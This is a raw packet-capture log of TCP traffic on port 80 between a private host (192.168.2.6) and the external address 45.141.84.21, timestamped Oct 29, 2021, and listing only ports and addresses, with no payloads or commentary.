Oct 29, 2021 17:56:17.568789005 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.568819046 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.568949938 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.569008112 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.569035053 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.569077969 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.569132090 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.569163084 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.569202900 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.569253922 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.569287062 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.569353104 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.569413900 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.569441080 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.569497108 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.569539070 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.569566011 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.569626093 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.569684982 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.569711924 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.569773912 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.569816113 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.569834948 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.569892883 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.569953918 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.569981098 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.570063114 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.570101976 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.570126057 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.570188046 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.570244074 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.570269108 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.570312977 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.570352077 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.570369959 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.570408106 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.570446968 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.570463896 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.570492983 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.570532084 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.570549965 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.570589066 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.570626020 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.570641994 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.570669889 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.570739985 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.570929050 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.570987940 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.571055889 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.571072102 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.571135998 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.571194887 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.571223021 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.571283102 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.571335077 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.571350098 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.619441986 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.619520903 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.619553089 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.619606972 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.619666100 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.619678020 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.619718075 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.619797945 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.619827032 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.619848967 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.619884968 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.619915009 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.619941950 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.619961977 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.619985104 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.620012045 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.620038033 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.620112896 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.620172024 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.620206118 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.620244026 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.620280981 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.620302916 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.620322943 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.620361090 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.620388985 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.620428085 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.620460987 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.620523930 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.620537043 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.620573997 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.620600939 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.620618105 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.620652914 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.620702028 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.620719910 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.620758057 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.620784998 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.620810986 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.620841026 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.620904922 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.620940924 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.620978117 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.621006012 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.621037006 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.621061087 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.621098995 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.621115923 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.621150970 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.621177912 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.621201038 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.621232986 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.621270895 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.621294022 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.621330023 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.621360064 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.621383905 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.621412992 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.621442080 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.621475935 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.621490955 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.621515989 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.621531010 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.621567965 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.621619940 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.621659040 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.621695042 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.621720076 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.621753931 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.621778965 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.621808052 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.621831894 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.621880054 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.621905088 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.621931076 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.621990919 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.622045040 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.622070074 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.622112989 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.622138023 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.622168064 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.622189999 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.622224092 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.622240067 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.622289896 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.622328997 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.622344971 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.622381926 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.622416973 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.622435093 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.622462988 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.622555971 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.622595072 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.622632980 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.622668982 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.622685909 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.622723103 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.622771978 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.622793913 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.622829914 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.622854948 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.622874975 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.623447895 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.623486996 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.623521090 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.623547077 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.623583078 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.623599052 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.623635054 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.623670101 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.623683929 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.623709917 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.623754978 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.671808004 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.671828985 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.671844959 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.671861887 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.671878099 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.671894073 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.671906948 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.671947956 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.672045946 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.672512054 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.672532082 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.672549963 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.672563076 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.672576904 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.672631979 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.672669888 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.672687054 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.672703028 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.672712088 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.672724009 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.672748089 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.673188925 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.673207998 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.673223972 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.673234940 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.673242092 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.673255920 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.673290014 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.673306942 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.673330069 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.673377991 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.673396111 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.673413038 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.673420906 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.673437119 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.673449993 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.673458099 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.673494101 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.673530102 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.673547029 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.673563004 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.673578978 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.673599005 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.673604012 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.673618078 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.673626900 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.673639059 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.673671961 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.673758984 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.673808098 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.673841000 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.673860073 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.673871994 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.673901081 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.674063921 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.674098969 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.674113035 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.674124956 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.674137115 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.674163103 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.674447060 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.674465895 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.674480915 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.674495935 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.674513102 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.674525023 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.674535990 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.674551964 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.674562931 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.674597025 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.674632072 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.674668074 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.674684048 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.674700975 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.674716949 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.674726009 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.674752951 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.674761057 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.674777031 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.674787998 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.674817085 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.675052881 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.675076962 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.675093889 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.675101995 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.675112963 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.675132990 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.675228119 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.675246954 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.675265074 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.675295115 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.675359011 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.675364971 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.675573111 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.675642014 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.675662041 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.675679922 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.675692081 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.675785065 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.676023006 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.676040888 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.676057100 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.676069975 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.676083088 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.676136017 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.676204920 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.676222086 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.676238060 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.676249981 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.676338911 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.676343918 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.724453926 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.724481106 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.724493027 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.724508047 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.724530935 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.724553108 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.724569082 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.724601984 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.724688053 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.725157022 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.725188971 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.725213051 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.725229979 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.725270987 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.725295067 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.725306988 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.725332022 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.725347996 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.725358009 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.725421906 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.725577116 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.725601912 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.725625992 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.725642920 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.725661993 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.725691080 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.725709915 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.725730896 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.725744963 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.725797892 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.725830078 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.725887060 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.725900888 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.725922108 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.725950956 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.725970984 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.725980997 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.726001024 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.726010084 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.726049900 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.726079941 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.726252079 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.726306915 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.726325989 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.726341009 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.726356983 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.726404905 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.726744890 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.726762056 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.726773977 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.726782084 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.726834059 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.726855040 CEST	80	49856	45.141.84.21	192.168.2.6
